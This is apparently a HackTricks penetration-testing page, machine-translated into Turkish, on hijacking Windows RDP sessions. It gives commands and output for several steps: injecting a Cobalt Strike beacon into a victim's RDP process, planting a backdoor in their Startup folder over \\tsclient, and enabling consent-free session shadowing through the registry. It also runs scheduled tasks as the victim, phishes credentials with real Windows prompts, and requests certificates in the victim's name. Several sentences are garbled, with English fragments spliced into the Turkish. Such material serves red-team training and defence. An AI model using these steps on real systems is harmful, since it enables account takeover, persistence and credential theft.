RDP Sessions Abuse
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
RDP Process Injection
Eğer dış grupun mevcut domaindeki herhangi bir bilgisayara RDP erişimi varsa, bir saldırgan o bilgisayarı ele geçirip kullanıcının gelmesini bekleyebilir.
Kullanıcı RDP ile erişim sağladıktan sonra, saldırgan o kullanıcının oturumuna pivot yapabilir ve dış domaindeki yetkilerini kötüye kullanabilir.
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
Check other ways to steal sessions with other tools in this page.
RDPInception
Eğer bir kullanıcı RDP into a machine üzerinden bir makineye bağlanır ve bir attacker onun için waiting halindeyse, attacker kullanıcının oturumuna inject a beacon in the RDP session of the user yapabilir; eğer victim mounted his drive RDP ile bağlanırken, attacker could access it.
Bu durumda, statup folder’a bir backdoor yazarak victims original computer’ı compromise edebilirsiniz.
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
Shadow RDP
Eğer bir hostta local admin iseniz ve hedefin zaten bir active RDP session’ı varsa, o masaüstünü view/control that desktop without stealing the password or dumping LSASS yapmanız mümkün olabilir.
Bu, aşağıda saklanan Remote Desktop Services shadowing politikasına bağlıdır:
HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow
İlginç değerler:
0: Devre dışı1:EnableInputNotify(kontrol, kullanıcı onayı gerekli)2:EnableInputNoNotify(kontrol, kullanıcı onayı yok)3:EnableNoInputNotify(yalnızca görüntüleme, kullanıcı onayı gerekli)4:EnableNoInputNoNotify(yalnızca görüntüleme, kullanıcı onayı yok)
:: Check the policy
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
:: Enable interaction without consent
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
:: Enumerate sessions and shadow the target one
quser /server:<HOST>
mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt
Bu, RDP üzerinden bağlanmış ayrıcalıklı bir kullanıcının kilidi açık bir masaüstü, KeePass oturumu, MMC konsolu, tarayıcı oturumu veya admin shell açık bıraktığında özellikle kullanışlıdır.
Oturum Açmış Kullanıcı Olarak Zamanlanmış Görevler
Eğer local admin iseniz ve hedef kullanıcı şu anda oturum açmışsa, Task Scheduler o kullanıcının parolası olmadan o kullanıcı olarak kod başlatabilir.
Bu, kurbanın mevcut oturumunu bir yürütme ilkeline dönüştürür:
schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
schtasks /run /S <HOST> /TN "Updater"
Notes:
- Eğer kullanıcı oturum açmamışsa, Windows genellikle o kullanıcı adına çalışan bir görev oluşturmak için parolayı ister.
- Eğer kullanıcı oturum açmışsa, görev mevcut oturum açma bağlamını yeniden kullanabilir.
- Bu, LSASS’a dokunmadan kurban oturumu içinde GUI işlemleri yürütmek veya binary’ler başlatmak için pratik bir yoldur.
Kurban Oturumundan CredUI Prompt Kötüye Kullanımı
Örneğin Shadow RDP veya a scheduled task running as that user aracılığıyla kurbanın etkileşimli masaüstü içinde çalıştırma yapabildiğinizde, CredUI API’lerini kullanarak gerçek bir Windows kimlik bilgisi istemi (credential prompt) görüntüleyebilir ve kurbanın girdiği kimlik bilgilerini toplayabilirsiniz.
Relevant APIs:
CredUIPromptForWindowsCredentialsCredUnPackAuthenticationBuffer
Typical flow:
- Kurban oturumunda bir binary başlatın.
- Geçerli etki alanı görünümüne (domain branding) uyan bir etki alanı doğrulama istemi gösterin.
- Dönen auth buffer’ını unpack edin.
- Sağlanan kimlik bilgilerini doğrulayın ve isteğe bağlı olarak geçerli bilgiler girilene kadar tekrar istemeye devam edin.
Bu, on-host phishing için kullanışlıdır çünkü istem sahte bir HTML formu yerine standart Windows API’leri tarafından render edilir.
Kurban Bağlamında PFX Talebi
Aynı scheduled-task-as-user primitive, oturum açmış kurban adına bir sertifika/PFX talep etmek için kullanılabilir. Bu sertifika daha sonra o kullanıcı olarak AD authentication için kullanılabilir ve böylece parola hırsızlığından tamamen kaçınılır.
High-level flow:
- Kurbanın oturum açtığı bir hostta local admin kazanın.
- Kayıt/dışa aktarma (enrollment/export) mantığını kurban olarak bir scheduled task ile çalıştırın.
- Ortaya çıkan PFX’i dışa aktarın.
- PFX’i PKINIT / sertifika tabanlı AD authentication için kullanın.
See the AD CS pages for follow-up abuse:
References
- SensePost - From flat networks to locked up domains with tiering models
- Microsoft - Remote Desktop shadow
- NetExec - Shadow RDP plugin PR #465
- NetExec - schtask_as module
- NetExec - Request PFX via scheduled task PR #908
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


